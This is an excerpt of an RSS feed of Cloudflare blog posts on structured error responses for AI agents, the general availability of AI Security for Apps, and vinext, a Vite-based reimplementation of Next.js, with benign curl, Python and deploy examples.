    <p>Every <code>1xxx</code> error is mapped to an <code>error_category</code>. That turns error handling into routing logic instead of brittle per-page parsing.</p><table><tr><td><p><b>Category</b></p></td><td><p><b>What it means</b></p></td><td><p><b>What the agent should do</b></p></td></tr><tr><td><p><code>access_denied</code></p></td><td><p>Intentional block: IP, ASN, geo, firewall rule</p></td><td><p>Do not retry. Contact site owner if unexpected.</p></td></tr><tr><td><p><code>rate_limit</code></p></td><td><p>Request rate exceeded</p></td><td><p>Back off. Retry after retry_after seconds.</p></td></tr><tr><td><p><code>dns</code></p></td><td><p>DNS resolution failure at the origin</p></td><td><p>Do not retry. Report to site owner.</p></td></tr><tr><td><p><code>config</code></p></td><td><p>Configuration error: CNAME, tunnel, host routing</p></td><td><p>Do not retry (usually). Report to site owner.</p></td></tr><tr><td><p><code>tls</code></p></td><td><p>TLS version or cipher mismatch</p></td><td><p>Fix TLS client settings. Do not retry as-is.</p></td></tr><tr><td><p><code>legal</code></p></td><td><p>DMCA or regulatory block</p></td><td><p>Do not retry. This is a legal restriction.</p></td></tr><tr><td><p><code>worker</code></p></td><td><p>Cloudflare Workers runtime error</p></td><td><p>Do not retry. Site owner must fix the script.</p></td></tr><tr><td><p><code>rewrite</code></p></td><td><p>Invalid URL rewrite output</p></td><td><p>Do not retry. Site owner must fix the rule.</p></td></tr><tr><td><p><code>snippet</code></p></td><td><p>Cloudflare Snippets error</p></td><td><p>Do not retry. Site owner must fix Snippets config.</p></td></tr><tr><td><p><code>unsupported</code></p></td><td><p>Unsupported method or deprecated feature</p></td><td><p>Change the request. Do not retry as-is.</p></td></tr></table><p>Two fields make this operationally useful for agents:</p><ul><li><p><code>retryable</code> answers whether a retry can succeed</p></li><li><p><code>owner_action_required</code> answers whether the problem must be escalated</p></li></ul><p>You can replace brittle "if status == 429 then maybe retry" heuristics with explicit control flow. Parse the frontmatter once, then branch on stable fields. A simple pattern is:</p><ul><li><p>if <code>retryable</code> is <code>true</code>, wait <code>retry_after</code> and retry</p></li><li><p>if <code>owner_action_required</code> is <code>true</code>, stop and escalate</p></li><li><p>otherwise, fail fast without hammering the site</p></li></ul><p>Here is a minimal Python example using that pattern:</p>
            <pre><code>import time
import yaml


def parse_frontmatter(markdown_text: str) -&gt; dict:
    # Expects: ---\n&lt;yaml&gt;\n---\n&lt;body&gt;
    if not markdown_text.startswith("---\n"):
        return {}
    _, yaml_block, _ = markdown_text.split("---\n", 2)
    return yaml.safe_load(yaml_block) or {}


def handle_cloudflare_error(markdown_text: str) -&gt; str:
    meta = parse_frontmatter(markdown_text)

    if not meta.get("cloudflare_error"):
        return "not_cloudflare_error"

    if meta.get("retryable"):
        wait_seconds = int(meta.get("retry_after", 30))
        time.sleep(wait_seconds)
        return f"retry_after_{wait_seconds}s"

    if meta.get("owner_action_required"):
        return f"escalate_owner_error_{meta.get('error_code')}"

    return "do_not_retry"</code></pre>
            <p>This is the key shift: agents are no longer inferring intent from HTML copy. They are executing explicit policy from structured fields.</p>
    <div>
      <h3>How to use it</h3>
      <a href="#how-to-use-it">
        
      </a>
    </div>
    <p>Send <code>Accept: text/markdown</code>, <code>Accept: application/json</code>, or <code>Accept: application/problem+json</code>.</p><p>For quick testing, you can hit any Cloudflare-proxied domain directly at <code>/cdn-cgi/error/1015</code> (or replace <code>1015</code> with another <code>1xxx</code> code).</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015"
</code></pre>
            <p>Example with another error code:</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1020"
</code></pre>
            <p>JSON example:</p>
            <pre><code>curl -s --compressed -H "Accept: application/json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>RFC 9457 Problem Details example:</p>
            <pre><code>curl -s --compressed -H "Accept: application/problem+json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>The behavior is deterministic — the first explicit structured type wins:</p><table><tr><td><p><b>Accept header</b></p></td><td><p><b>Response</b></p></td></tr><tr><td><p><code>application/json</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/json; charset=utf-8</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/problem+json</code></p></td><td><p>JSON (application/problem+json content type)</p></td></tr><tr><td><p><code>application/json, text/markdown;q=0.9</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/json, text/markdown</code></p></td><td><p>JSON (equal q, first-listed wins)</p></td></tr><tr><td><p><code>text/markdown</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>text/markdown, application/json</code></p></td><td><p>Markdown (equal q, first-listed wins)</p></td></tr><tr><td><p><code>text/markdown, */*</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>text/*</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>*/*</code></p></td><td><p>HTML (default)</p></td></tr></table><p>Wildcard-only requests (<code>*/*</code>) do not signal a structured preference; clients must explicitly request Markdown or JSON.</p><p>If the request succeeds, you get normal origin content. The header only affects Cloudflare-generated error responses.</p>
    <div>
      <h3>Real-world use cases</h3>
      <a href="#real-world-use-cases">
        
      </a>
    </div>
    <p>There are a number of situations where structured error responses help immediately:</p><ol><li><p>Agent blocked by WAF rule (<code>1020</code>). The agent parses <code>error_code</code>, records <code>ray_id</code>, and stops retrying. It can escalate with useful context instead of looping.</p></li><li><p>MCP (Model Context Protocol) tool hitting geo restriction (<code>1009</code>). The tool gets a clear, machine-readable reason, returns it to the orchestrator, and the workflow can choose an alternate path or notify the user.</p></li><li><p>Rate-limited crawler (<code>1015</code>). The agent reads <code>retryable</code>: true and <code>retry_after</code>, applies backoff, and retries predictably instead of hammering the endpoint.</p></li><li><p>Developer debugging with <code>curl</code>. The developer can reproduce exactly what the agent sees, including frontmatter and guidance, without reverse-engineering HTML.</p></li><li><p>HTTP client libraries that understand RFC 9457. Any client that dispatches on <code>application/problem+json</code> or parses Problem Details objects can handle Cloudflare errors without Cloudflare-specific code.</p></li></ol><p>In each case, the outcome is the same: less guessing, fewer wasted retries, lower model cost, and faster recovery.</p>
    <div>
      <h3>Try it now</h3>
      <a href="#try-it-now">
        
      </a>
    </div>
    <p>Send a structured <code>Accept</code> header and test against any Cloudflare-proxied domain:</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015"
</code></pre>
            
            <pre><code>curl -s --compressed -H "Accept: application/json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            
            <pre><code>curl -s --compressed -H "Accept: application/problem+json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>Error pages are the first conversation between Cloudflare and an agent. This launch makes that conversation structured, standards-compliant, and cheap to process.</p><p>To make this work across the web, agent runtimes should default to explicit structured <code>Accept</code> headers, not bare <code>*/*</code>. Use <code>Accept: text/markdown, */*</code> for model-first workflows and <code>Accept: application/json, */*</code> for typed control flow. If you maintain an agent framework, SDK, or browser automation stack, ship this default and treat bare <code>*/*</code> as legacy fallback.</p><p>And it is only the first layer. We are building the rest of the agent stack on top of it: <a href="https://developers.cloudflare.com/ai-gateway/"><u>AI Gateway</u></a> for routing, controls, and observability; <a href="https://www.cloudflare.com/developer-platform/products/workers-ai/"><u>Workers AI</u></a> for inference; and the identity, security, and access primitives agents will need to operate safely at Internet scale.</p><p>Cloudflare is helping our customers deliver content in agent-friendly ways, and this is just the start. If you're building or operating agents, start at <a href="http://agents.cloudflare.com"><u>agents.cloudflare.com</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Edge Computing]]></category>
            <guid isPermaLink="false">46xdz0GQfFtpCKRKNbfj3b</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[AI Security for Apps is now generally available]]></title>
            <link>https://blog.cloudflare.com/ai-security-for-apps-ga/</link>
            <pubDate>Wed, 11 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare AI Security for Apps is now generally available, providing a security layer to discover and protect AI-powered applications, regardless of the model or hosting provider. We are also making AI discovery free for all plans, to help teams find and secure shadow AI deployments. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare’s <a href="https://www.cloudflare.com/demos/protect-ai-apps/"><u>AI Security for Apps</u></a> detects and mitigates threats to AI-powered applications. Today, we're announcing that it is generally available.</p><p>We’re shipping with new capabilities like detection for custom topics, and we're making AI endpoint discovery free for every Cloudflare customer—including those on Free, Pro, and Business plans—to give everyone visibility into where AI is deployed across their Internet-facing apps.</p><p>We're also announcing an expanded collaboration with IBM, which has chosen Cloudflare to deliver AI security to its cloud customers. And we’re partnering with Wiz to give mutual customers a unified view of their AI security posture.</p>
    <div>
      <h2>A new kind of attack surface</h2>
      <a href="#a-new-kind-of-attack-surface">
        
      </a>
    </div>
    <p>Traditional web applications have defined operations: check a bank balance, make a transfer. You can write deterministic rules to secure those interactions. </p><p>AI-powered applications and agents are different. They accept natural language and generate unpredictable responses. There's no fixed set of operations to allow or deny, because the inputs and outputs are probabilistic. Attackers can manipulate large language models to take unauthorized actions or leak sensitive data. Prompt injection, sensitive information disclosure, and unbounded consumption are just a few of the risks cataloged in the <a href="https://genai.owasp.org/llm-top-10/"><u>OWASP Top 10 for LLM Applications</u></a>.</p><p>These risks escalate as AI applications become agents. When an AI gains access to tool calls—processing refunds, modifying accounts, providing discounts, or accessing customer data—a single malicious prompt becomes an immediate security incident.</p><p>Customers tell us what they’re up against. "Most of Newfold Digital's teams are putting in their own Generative AI safeguards, but everybody is innovating so quickly that there are inevitably going to be some gaps eventually,” says Rick Radinger, Principal Systems Architect at Newfold Digital, which operates Bluehost, HostGator, and Domain.com. </p>
    <div>
      <h2>What AI Security for Apps does</h2>
      <a href="#what-ai-security-for-apps-does">
        
      </a>
    </div>
    <p>We built AI Security for Apps to address this. It sits in front of your AI-powered applications, whether you're using a third-party model or hosting your own, as part of Cloudflare's <a href="https://www.cloudflare.com/learning/cdn/glossary/reverse-proxy/"><u>reverse proxy</u></a>. It helps you (1) discover AI-powered apps across your web property, (2) detect malicious or off-policy behavior to those endpoints, and (3) mitigate threats via the familiar WAF rule builder. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5xpmckBUupzELjYOSx5bAF/cace1ab2ed2dd54d8d7a7ff60587ef65/BLOG-3128_2.png" />
          </figure>
    <div>
      <h3>Discovery — now free for everyone</h3>
      <a href="#discovery-now-free-for-everyone">
        
      </a>
    </div>
    <p>Before you can protect your LLM-powered applications, you need to know where they're being used. We often hear from security teams who don’t have a complete picture of AI deployments across their apps, especially as the LLM market evolves and developers swap out models and providers. </p><p>AI Security for Apps automatically identifies LLM-powered endpoints across your web properties, regardless of where they’re hosted or what the model is. Starting today, this capability is free for every Cloudflare customer, including Free, Pro, and Business plans. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2dBKhU5VNbzAePDAnaHkTK/3f6a569e495e03c3e2afca4d6183e02d/image4.png" />
          </figure><p><sup><i>Cloudflare’s dashboard page of web assets, showing 2 example endpoints labelled as </i></sup><code><sup><i>cf-llm</i></sup></code></p><p>Discovering these endpoints automatically requires more than matching common path patterns like <code>/chat/completions</code>. Many AI-powered applications don't have a chat interface: think product search, property valuation tools, or recommendation engines. We built a <a href="https://blog.cloudflare.com/take-control-of-public-ai-application-security-with-cloudflare-firewall-for-ai/#discovering-llm-powered-applications"><u>detection system that looks at how endpoints behave</u></a>, not what they're called. To confidently identify AI-powered endpoints, <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/#requirements"><u>sufficient valid traffic</u></a> is required.</p><p>AI-powered endpoints that have been discovered will be visible under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/web-assets"><u>Security → Web Assets</u></a>, labeled as <code>cf-llm</code>. For customers on a Free plan, endpoint discovery is initiated when you first navigate to the <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/web-assets/discovery"><u>Discovery page</u></a>. For customers on a paid plan, discovery occurs automatically in the background on a recurring basis. If your AI-powered endpoints have been discovered, you can review them immediately.</p>
    <div>
      <h3>Detection</h3>
      <a href="#detection">
        
      </a>
    </div>
    <p>AI Security for Apps detections follow the <a href="https://developers.cloudflare.com/waf/detections/"><u>always-on approach</u></a> for traffic to your AI-powered endpoints. Each prompt is run through multiple detection modules for prompt injection, PII exposure, and sensitive or toxic topics. The results—whether the prompt was malicious or not—are attached as metadata you can use in custom WAF rules to enforce your policies. We are continuously exploring ways to leverage our global network, which sees traffic from roughly <a href="https://w3techs.com/technologies/history_overview/proxy/all"><u>20% of the web</u></a>, to identify new attack patterns across millions of sites before they reach yours.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7oGjcaUL5L9zlAkz8lSmXv/4354a9555135e19de5c93d3d113e6790/BLOG-3128_4.png" />
          </figure>
    <div>
      <h4>New in GA: Custom topics detection</h4>
      <a href="#new-in-ga-custom-topics-detection">
        
      </a>
    </div>
    <p>The product ships with built-in detection for common threats: prompt injections, <a href="https://blog.cloudflare.com/take-control-of-public-ai-application-security-with-cloudflare-firewall-for-ai/#detecting-prompts-designed-to-leak-pii"><u>PII extraction</u></a>, and <a href="https://blog.cloudflare.com/block-unsafe-llm-prompts-with-firewall-for-ai/"><u>toxic topics</u></a>. But every business has its own definition of what's off-limits. A financial services company might need to detect discussions of specific securities. A healthcare company might need to flag conversations that touch on patient data. A retailer might want to know when customers are asking about competitor products.</p><p>The new custom topics feature lets you define these categories. You specify the topic, we inspect the prompt and output a relevance score that you can use to log, block, or handle however you decide. Our goal is to build an extensible tool that flexes to your use cases.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1WzPhy11ZmUXDGZjft4sY1/7ebfafaf2114eaba83a829694837fc2c/image1.png" />
          </figure><p><sup><i>Prompt relevance score inside of AI Security for Apps</i></sup></p>
    <div>
      <h4>New in GA: Custom prompt extraction</h4>
      <a href="#new-in-ga-custom-prompt-extraction">
        
      </a>
    </div>
    <p>AI Security for Apps enforces guardrails before unsafe prompts can reach your infrastructure. To run detections accurately and provide real-time protection, we first need to identify the prompt within the request payload. Prompts can live anywhere in a request body, and different LLM providers structure their APIs differently. OpenAI and most providers use <code>$.messages[*].content</code> for chat completions. Anthropic's batch API nests prompts inside <code>$.requests[*].params.messages[*].content</code>. Your custom property valuation tool might use <code>$.property_description</code>.</p><p>Out of the box, we support the standard formats used by OpenAI, Anthropic, Google Gemini, Mistral, Cohere, xAI, DeepSeek, and others. When we can't match a known pattern, we apply a default-secure posture and run detection on the entire request body. This can introduce false positives when the payload contains fields that are sensitive but don't feed directly to an AI model, for example, a <code>$.customer_name</code> field alongside the actual prompt might trigger PII detection unnecessarily.</p><p>Soon, you'll be able to define your own JSONPath expressions to tell us exactly where to find the prompt. This will reduce false positives and lead to more accurate detections. We're also building a prompt-learning capability that will automatically adapt to your application's structure over time.</p>
    <div>
      <h3>Mitigation</h3>
      <a href="#mitigation">
        
      </a>
    </div>
    <p>Once a threat is identified and scored, you can block it, log it, or deliver custom responses, using the same WAF rules engine you already use for the rest of your application security. The power of Cloudflare’s shared platform is that you can combine AI-specific signals with everything else we know about a request, represented by <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields/reference/"><u>hundreds of fields</u></a> available in the WAF. A prompt injection attempt is suspicious. A prompt injection attempt from an IP that’s been probing your login page, using a browser fingerprint associated with previous attacks, and rotating through a botnet is a different story. Point solutions that only see the AI layer can’t make these connections.</p><p>This unified security layer is exactly what they need at Newfold Digital to discover, label, and protect AI endpoints, says Radinger: “We look forward to using it across all these projects to serve as a fail-safe."</p>
    <div>
      <h2>Growing ecosystem</h2>
      <a href="#growing-ecosystem">
        
      </a>
    </div>
    <p>AI Security for Applications will also be available through Cloudflare's growing ecosystem, including through integration with IBM Cloud. Through <a href="https://www.ibm.com/products/cloud-internet-services"><u>IBM Cloud Internet Services (CIS)</u></a>, end users can already procure advanced application security solutions and manage them directly through their IBM Cloud account. </p><p>We're also partnering with Wiz to connect AI Security for Applications with <a href="https://www.wiz.io/solutions/ai-spm"><u>Wiz AI Security</u></a>, giving mutual customers a unified view of their AI security posture, from model and agent discovery in the cloud to application-layer guardrails at the edge.</p>
    <div>
      <h2>How to get started</h2>
      <a href="#how-to-get-started">
        
      </a>
    </div>
    <p>AI Security for Apps is available now for Cloudflare’s Enterprise customers. Contact your account team to get started, or see the product in action with a <a href="https://www.cloudflare.com/demos/protect-ai-apps/"><u>self-guided tour</u></a>.</p><p>If you're on a Free, Pro, or Business plan, you can use AI endpoint discovery today. Log in to your dashboard and navigate to <b>Security → Web Assets</b> to see which endpoints we've identified. Keep an eye out — we plan to make all AI Security for Apps capabilities available for customers on all plans soon.</p><p>For configuration details, see our <a href="https://developers.cloudflare.com/waf/detections/firewall-for-ai/"><u>documentation</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <guid isPermaLink="false">4MBDCV6FV61Xbyav3cW8Xy</guid>
            <dc:creator>Liam Reese</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Catherine Newcomb</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we rebuilt Next.js with AI in one week]]></title>
            <link>https://blog.cloudflare.com/vinext/</link>
            <pubDate>Tue, 24 Feb 2026 20:00:00 GMT</pubDate>
            <description><![CDATA[ One engineer used AI to rebuild Next.js on Vite in a week. vinext builds up to 4x faster, produces 57% smaller bundles, and deploys to Cloudflare Workers with a single command. ]]></description>
            <content:encoded><![CDATA[ <p><sub><i>*This post was updated at 12:35 pm PT to fix a typo in the build time benchmarks.</i></sub></p><p>Last week, one engineer and an AI model rebuilt the most popular front-end framework from scratch. The result, <a href="https://github.com/cloudflare/vinext"><u>vinext</u></a> (pronounced "vee-next"), is a drop-in replacement for Next.js, built on <a href="https://vite.dev/"><u>Vite</u></a>, that deploys to Cloudflare Workers with a single command. In early benchmarks, it builds production apps up to 4x faster and produces client bundles up to 57% smaller. And we already have customers running it in production. </p><p>The whole thing cost about $1,100 in tokens.</p>
    <div>
      <h2>The Next.js deployment problem</h2>
      <a href="#the-next-js-deployment-problem">
        
      </a>
    </div>
    <p><a href="https://nextjs.org/"><u>Next.js</u></a> is the most popular React framework. Millions of developers use it. It powers a huge chunk of the production web, and for good reason. The developer experience is top-notch.</p><p>But Next.js has a deployment problem when used in the broader serverless ecosystem. The tooling is entirely bespoke: Next.js has invested heavily in Turbopack but if you want to deploy it to Cloudflare, Netlify, or AWS Lambda, you have to take that build output and reshape it into something the target platform can actually run.</p><p>If you’re thinking: “Isn’t that what OpenNext does?”, you are correct. </p><p>That is indeed the problem <a href="https://opennext.js.org/"><u>OpenNext</u></a> was built to solve. And a lot of engineering effort has gone into OpenNext from multiple providers, including us at Cloudflare. It works, but quickly runs into limitations and becomes a game of whack-a-mole. </p><p>Building on top of Next.js output as a foundation has proven to be a difficult and fragile approach. Because OpenNext has to reverse-engineer Next.js's build output, this results in unpredictable changes between versions that take a lot of work to correct. </p><p>Next.js has been working on a first-class adapters API, and we've been collaborating with them on it. It's still an early effort but even with adapters, you're still building on the bespoke Turbopack toolchain. And adapters only cover build and deploy. During development, next dev runs exclusively in Node.js with no way to plug in a different runtime. If your application uses platform-specific APIs like Durable Objects, KV, or AI bindings, you can't test that code in dev without workarounds.</p>
    <div>
      <h2>Introducing vinext </h2>
      <a href="#introducing-vinext">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7BCYnb6nCnc9oRBPQnuES5/d217b3582f4fe30597a3b4bf000d9bd7/BLOG-3194_2.png" />
          </figure><p>What if instead of adapting Next.js output, we reimplemented the Next.js API surface on <a href="https://vite.dev/"><u>Vite</u></a> directly? Vite is the build tool used by most of the front-end ecosystem outside of Next.js, powering frameworks like Astro, SvelteKit, Nuxt, and Remix. A clean reimplementation, not merely a wrapper or adapter. We honestly didn't think it would work. But it’s 2026, and the cost of building software has completely changed.</p><p>We got a lot further than we expected.</p>
            <pre><code>npm install vinext</code></pre>
            <p>Replace <code>next</code> with <code>vinext</code> in your scripts and everything else stays the same. Your existing <code>app/</code>, <code>pages/</code>, and <code>next.config.js</code> work as-is.</p>
            <pre><code>vinext dev          # Development server with HMR
vinext build        # Production build
vinext deploy       # Build and deploy to Cloudflare Workers</code></pre>
            <p>This is not a wrapper around Next.js and Turbopack output. It's an alternative implementation of the API surface: routing, server rendering, React Server Components, server actions, caching, middleware. All of it built on top of Vite as a plugin. Most importantly Vite output runs on any platform thanks to the <a href="https://vite.dev/guide/api-environment"><u>Vite Environment API</u></a>.</p>
    <div>
      <h2>The numbers</h2>
      <a href="#the-numbers">
        
      </a>
    </div>
    <p>Early benchmarks are promising. We compared vinext against Next.js 16 using a shared 33-route App Router application.

Both frameworks are doing the same work: compiling, bundling, and preparing server-rendered routes. We disabled TypeScript type checking and ESLint in Next.js's build (Vite doesn't run these during builds), and used force-dynamic so Next.js doesn't spend extra time pre-rendering static routes, which would unfairly slow down its numbers. The goal was to measure only bundler and compilation speed, nothing else. Benchmarks run on GitHub CI on every merge to main. </p><p><b>Production build time:</b></p>
<div><table><colgroup>
<col></col>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Framework</span></th>
    <th><span>Mean</span></th>
    <th><span>vs Next.js</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>Next.js 16.1.6 (Turbopack)</span></td>
    <td><span>7.38s</span></td>
    <td><span>baseline</span></td>
  </tr>
  <tr>
    <td><span>vinext (Vite 7 / Rollup)</span></td>
    <td>4.64s</td>
    <td>1.6x faster</td>
  </tr>
  <tr>
    <td><span>vinext (Vite 8 / Rolldown)</span></td>
    <td>1.67s</td>
    <td>4.4x faster</td>
  </tr>
</tbody></table></div><p><b>Client bundle size (gzipped):</b></p>
<div><table><colgroup>
<col></col>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Framework</span></th>
    <th><span>Gzipped</span></th>
    <th><span>vs Next.js</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>Next.js 16.1.6</span></td>
    <td><span>168.9 KB</span></td>
    <td><span>baseline</span></td>
  </tr>
  <tr>
    <td><span>vinext (Rollup)</span></td>
    <td><span>74.0 KB</span></td>
    <td><span>56% smaller</span></td>
  </tr>
  <tr>
    <td><span>vinext (Rolldown)</span></td>
    <td><span>72.9 KB</span></td>
    <td><span>57% smaller</span></td>
  </tr>
</tbody></table></div><p>These benchmarks measure compilation and bundling speed, not production serving performance. The test fixture is a single 33-route app, not a representative sample of all production applications. We expect these numbers to evolve as three projects continue to develop. The <a href="https://benchmarks.vinext.workers.dev"><u>full methodology and historical results</u></a> are public. Take them as directional, not definitive.</p><p>The direction is encouraging, though. Vite's architecture, and especially <a href="https://rolldown.rs/"><u>Rolldown</u></a> (the Rust-based bundler coming in Vite 8), has structural advantages for build performance that show up clearly here.</p>
    <div>
      <h2>Deploying to Cloudflare Workers</h2>
      <a href="#deploying-to-cloudflare-workers">
        
      </a>
    </div>
    <p>vinext is built with Cloudflare Workers as the first deployment target. A single command takes you from source code to a running Worker:</p>
            <pre><code>vinext deploy</code></pre>
            <p>This handles everything: builds the application, auto-generates the Worker configuration, and deploys. Both the App Router and Pages Router work on Workers, with full client-side hydration, interactive components, client-side navigation, React state.</p><p>For production caching, vinext includes a Cloudflare KV cache handler that gives you ISR (Incremental Static Regeneration) out of the box:</p>
            <pre><code>import { KVCacheHandler } from "vinext/cloudflare";
import { setCacheHandler } from "next/cache";

setCacheHandler(new KVCacheHandler(env.MY_KV_NAMESPACE));</code></pre>
            <p><a href="https://developers.cloudflare.com/kv/"><u>KV</u></a> is a good default for most applications, but the caching layer is designed to be pluggable. That setCacheHandler call means you can swap in whatever backend makes sense. <a href="https://developers.cloudflare.com/r2/"><u>R2</u></a> might be a better fit for apps with large cached payloads or different access patterns. We're also working on improvements to our Cache API that should provide a strong caching layer with less configuration. The goal is flexibility: pick the caching strategy that fits your app.</p><p>Live examples running right now:</p><ul><li><p><a href="https://app-router-playground.vinext.workers.dev"><u>App Router Playground</u></a></p></li><li><p><a href="https://hackernews.vinext.workers.dev"><u>Hacker News clone</u></a></p></li><li><p><a href="https://app-router-cloudflare.vinext.workers.dev"><u>App Router minimal</u></a></p></li><li><p><a href="https://pages-router-cloudflare.vinext.workers.dev"><u>Pages Router minimal</u></a></p></li></ul><p>We also have <a href="https://next-agents.threepointone.workers.dev/"><u>a live example</u></a> of Cloudflare Agents running in a Next.js app, without the need for workarounds like <a href="https://developers.cloudflare.com/workers/wrangler/api/#getplatformproxy"><u>getPlatformProxy</u></a>, since the entire app now runs in workerd, during both dev and deploy phases. This means being able to use Durable Objects, AI bindings, and every other Cloudflare-specific service without compromise. <a href="https://github.com/cloudflare/vinext-agents-example"><u>Have a look here.</u></a>   </p>
    <div>
      <h2>Frameworks are a team sport</h2>
      <a href="#frameworks-are-a-team-sport">
        
      </a>
    </div>
    <p>The current deployment target is Cloudflare Workers, but that's a small part of the picture. Something like 95% of vinext is pure Vite. The routing, the module shims, the SSR pipeline, the RSC integration: none of it is Cloudflare-specific.</p><p>Cloudflare is looking to work with other hosting providers about adopting this toolchain for their customers (the lift is minimal — we got a proof-of-concept working on <a href="https://vinext-on-vercel.vercel.app/"><u>Vercel</u></a> in less than 30 minutes!). This is an open-source project, and for its long term success, we believe it’s important we work with partners across the ecosystem to ensure ongoing investment. PRs from other platforms are welcome. If you're interested in adding a deployment target, <a href="https://github.com/cloudflare/vinext/issues"><u>open an issue</u></a> or reach out.</p>
    <div>
      <h2>Status: Experimental</h2>
      <a href="#status-experimental">
        
      </a>
    </div>
    <p>We want to be clear: vinext is experimental. It's not even one week old, and it has not yet been battle-tested with any meaningful traffic at scale. If you're evaluating it for a production application, proceed with appropriate caution.</p><p>That said, the test suite is extensive: over 1,700 Vitest tests and 380 Playwright E2E tests, including tests ported directly from the Next.js test suite and OpenNext's Cloudflare conformance suite. We’ve verified it against the Next.js App Router Playground. Coverage sits at 94% of the Next.js 16 API surface.

Early results from real-world customers are encouraging. We've been working with <a href="https://ndstudio.gov/"><u>National Design Studio</u></a>, a team that's aiming to modernize every government interface, on one of their beta sites, <a href="https://www.cio.gov/"><u>CIO.gov</u></a>. They're already running vinext in production, with meaningful improvements in build times and bundle sizes.</p><p>The README is honest about <a href="https://github.com/cloudflare/vinext#whats-not-supported-and-wont-be"><u>what's not supported and won't be</u></a>, and about <a href="https://github.com/cloudflare/vinext#known-limitations"><u>known limitations</u></a>. We want to be upfront rather than overpromise.</p>
    <div>
      <h2>What about pre-rendering?</h2>
      <a href="#what-about-pre-rendering">
        
      </a>
    </div>
    <p>vinext already supports Incremental Static Regeneration (ISR) out of the box. After the first request to any page, it's cached and revalidated in the background, just like Next.js. That part works today.</p><p>vinext does not yet support static pre-rendering at build time. In Next.js, pages without dynamic data get rendered during <code>next build</code> and served as static HTML. If you have dynamic routes, you use <code>generateStaticParams()</code> to enumerate which pages to build ahead of time. vinext doesn't do that… yet.</p><p>This was an intentional design decision for launch. It's  <a href="https://github.com/cloudflare/vinext/issues/9">on the roadmap</a>, but if your site is 100% prebuilt HTML with static content, you probably won't see much benefit from vinext today. That said, if one engineer can spend <span>$</span>1,100 in tokens and rebuild Next.js, you can probably spend $10 and migrate to a Vite-based framework designed specifically for static content, like <a href="https://astro.build/">Astro</a> (which <a href="https://blog.cloudflare.com/astro-joins-cloudflare/">also deploys to Cloudflare Workers</a>).</p><p>For sites that aren't purely static, though, we think we can do something better than pre-rendering everything at build time.</p>
    <div>
      <h2>Introducing Traffic-aware Pre-Rendering</h2>
      <a href="#introducing-traffic-aware-pre-rendering">
        
      </a>
    </div>
    <p>Next.js pre-renders every page listed in <code>generateStaticParams()</code> during the build. A site with 10,000 product pages means 10,000 renders at build time, even though 99% of those pages may never receive a request. Builds scale linearly with page count. This is why large Next.js sites end up with 30-minute builds.</p><p>So we built <b>Traffic-aware Pre-Rendering</b> (TPR). It's experimental today, and we plan to make it the default once we have more real-world testing behind it.</p><p>The idea is simple. Cloudflare is already the reverse proxy for your site. We have your traffic data. We know which pages actually get visited. So instead of pre-rendering everything or pre-rendering nothing, vinext queries Cloudflare's zone analytics at deploy time and pre-renders only the pages that matter.</p>
            <pre><code>vinext deploy --experimental-tpr

  Building...
  Build complete (4.2s)

  TPR (experimental): Analyzing traffic for my-store.com (last 24h)
  TPR: 12,847 unique paths — 184 pages cover 90% of traffic
  TPR: Pre-rendering 184 pages...
  TPR: Pre-rendered 184 pages in 8.3s → KV cache

  Deploying to Cloudflare Workers...
</code></pre>
